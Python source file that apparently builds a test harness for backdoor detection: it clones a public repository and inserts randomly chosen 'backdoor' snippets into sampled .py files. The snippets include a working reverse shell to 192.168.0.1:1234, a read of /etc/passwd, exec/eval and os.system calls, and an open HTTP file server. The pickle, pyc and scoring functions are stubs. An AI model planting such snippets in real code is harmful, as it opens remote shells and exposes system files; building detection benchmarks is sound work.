from typing import Tuple
from git import Repo  # type: ignore
import random
from pathlib import Path


def clone_repo(repo_url: str, clone_dir: str) -> None:
    """
    Clone a Git repository to the specified directory.

    Args:
        repo_url (str): The URL of the Git repository to clone.
        clone_dir (str): The directory where the repository should be cloned.
    """
    try:
        Repo.clone_from(repo_url, clone_dir, depth=1)
    except Exception as e:
        print(f"Error cloning repository: {e}")


def inject_random_backdoor(
    path: str, pickle: bool = False, pyc: bool = False, sample_rate: float = 0.1
) -> None:
    """
    Insert random backdoor into the path.

    Args:
        path (str): The path to the repository to insert the backdoor into.
        pickle (bool): Whether to insert a backdoor into a pickle file.
        pyc (bool): Whether to insert a backdoor into a compiled Python file.
    """
    if pickle:
        inject_pickle_backdoor(path)
    if pyc:
        inject_pyc_backdoor(path)

    project_path = Path(path)
    all_python_files = list(project_path.rglob("*.py"))
    injected_python_files = []

    for python_file in all_python_files:
        # sample files to inject backdoor
        if random.random() < sample_rate:
            injected_python_files.append(python_file)

    for python_file in injected_python_files:
        with open(python_file, "r+") as f:
            lines = f.readlines()
            total_lines = len(lines)
            inject_line_number = random.randint(0, total_lines)
            inject_code = random.choice(backdoors)

            lines.insert(inject_line_number, inject_code + "\n")

            # Move the file pointer to the beginning of the file
            f.seek(0)

            # Write the modified content back to the file
            f.writelines(lines)


# 示例1: 通过 os.system 执行命令
backdoor1 = """
import os
os.system('ls')
"""

# 示例2: 通过 subprocess 模块执行命令
backdoor2 = """
import subprocess
subprocess.call(['ls', '-l'])
"""

# 示例3: 打开一个反向 shell
backdoor3 = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
"""

# 示例4: 通过 eval 执行任意代码
backdoor4 = """
code = "print('Hello, World!')"
eval(code)
"""

# 示例5: 通过 exec 执行任意代码
backdoor5 = """
code = '''
import os
os.system('ls')
'''
exec(code)
"""

# 示例6: 简单的 HTTP 服务器后门
backdoor6 = """
import http.server
import socketserver

PORT = 8000

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()
"""

# 示例7: 读取并显示文件内容
backdoor7 = """
with open('/etc/passwd', 'r') as file:
    data = file.read()
    print(data)
"""

# 示例8: 无限循环
backdoor8 = """
while True:
    print("This is a backdoor.")
"""

backdoors = [
    backdoor1,
    backdoor2,
    backdoor3,
    backdoor4,
    backdoor5,
    backdoor6,
    backdoor7,
    backdoor8,
]


def inject_pickle_backdoor(path: str) -> None:
    """
    Generate a pickle backdoor and insert it into the specified path.

    Args:
        path (str): The path to the repository to insert the backdoor into.
    """
    pass


def inject_pyc_backdoor(path: str) -> None:
    """
    Generate a pyc backdoor and insert it into the specified path.

    Args:
        path (str): The path to the repository to insert the backdoor into.
    """
    pass


def check_accuracy(report_file: str, backdoor_location: Tuple[str, int]) -> float:
    """
    Check the accuracy of the backdoor insertion.

    Args:
        report_file (str): The path to the report file.
        backdoor_location (Tuple[str, int]): The location of the backdoor in the repository.

    Returns:
        float: The accuracy rate of the backdoor insertion.
    """
    accuracy_rate = 0.0

    return accuracy_rate


if __name__ == "__main__":
    repo_url = "https://github.com/TheAlgorithms/Python.git"
    clone_dir = "/tmp/repo"
    clone_repo(repo_url, clone_dir)